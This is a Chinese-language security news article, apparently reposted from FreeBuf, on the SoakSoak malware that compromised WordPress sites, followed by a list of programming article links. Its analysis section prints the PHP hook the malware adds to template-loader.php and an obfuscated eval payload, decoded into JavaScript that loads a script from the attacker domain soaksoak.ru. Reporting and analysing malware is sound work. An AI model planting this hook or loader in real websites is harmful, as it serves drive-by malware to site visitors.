10万WordPress网站沦陷:恶意软件SoakSoak来了
WordPress是一款使用PHP语言开发的博客平台,用户架设属于自己的博客,也可以把 WordPress当作一个内容管理系统(CMS)来使用。近几个月,WordPress安全漏洞事件频发,包括 免费主题暗藏后门,波及WordPress等知名CMS系统,WordPress 4.0以下版本存在跨站脚本漏洞。而现在,一款广泛传播的恶意软件已经感染了100,000多个WordPress网站,而且数字仍在增加。
Google将超过11,000个域名纳入黑名单
消息先是周日早上在WordPress社区传播,起因是Google将超过11,000域名列入黑名单,这些网站都被一款最新的恶意软件攻击,软件来源于SoakSoak.ru,所以起名为SoakSoak 恶意软件。由于现在互联网上有超过7亿网站使用WordPress,所以这样的恶意软件影响巨大。
一经感染,网站就会出现异常行为,包括重定向到SoakSoak.ru。访问网站的用户也可能会自动下载恶意程序。Google已经将11,000个可能已经感染病毒的网站列入黑名单。
恶意软件分析
恶意软件SoakSoak会修改wp-includes/template-loader.php文件
<?php
function FuncQueueObject()
{
wp_enqueue_script("swfobject");
}
add_action("wp_enqueue_scripts",'FuncQueueObject');
这样使得wp-includes/js/swobject.js文件会在每一个页面上加载,这个swobject.js文件包含加密的恶意js代码。
eval(decodeURIComponent
("%28%0D%0A%66%75%6E%63%74%69%6F%6E%28%29%0D%0A%7B%0D%..72%69%70%74%2E%69%64%3D%27%78%78%79%79%7A%7A%5F%70%65%74%75%73%68%6F%6B%27%3B%0D%0A%09%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0D%0A%7D%28%29%0D%0A%29%3B"));
解密后的代码:
eval(decodeURIComponent('(
function()
{
//var ua = navigator.userAgent.toLowerCase();
//if (ua.indexOf('chrome') != -1) return;
var head=document.getElementsByTagName('head')[0];
var script=document.createElement('script');
script.type='text/javascript';
script.src='http://soaksoak.ru/xteas/code';
script.id='xxyyzz_petushok';
head.appendChild(script);
}()
);'));
恶意代码一旦被解密,就会加载SoakSoak.ru域名中的js:hxxp://soaksoak.ru/xteas/code
检测与预防 目前尚不清楚病毒是如何感染网站的。如果你正在使用WordPress,并且你担心你的网站被感染,Sucuri公司提供了免费网站扫描,你可以检测你的网站是否感染了病毒。
想要让你的WordPress更加安全,可参见:如何为WordPress做安全防护?
[参考来源THN & Sucuri,译/Sphinx,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 我为何弃用Jetpack的App Startup?
- 快速学习-Skywalking的RPC调用-Dubbo的最佳实践
- Spring Cloud Gateway开发的几个要点
- 快速学习-Skywalking告警功能
- 使用Node.js实现一个express框架
- 快速学习-skywalking入门
- ts7053的另一种解法
- 三分钟读懂Softmax函数
- Docker 容器分离部署LNMP架构
- Exams/ece241 2013 q4答案解析
- ansible生产环境使用场景(三):find查找指定内容
- vue 中 key 值有什么作用?
- webgl实现发光线框(glow wireframe)效果 要实现发光的效果
- [mongodb] mongo常用字段类型
- 无意间发现一个好用的视频转换gif图片的开源框架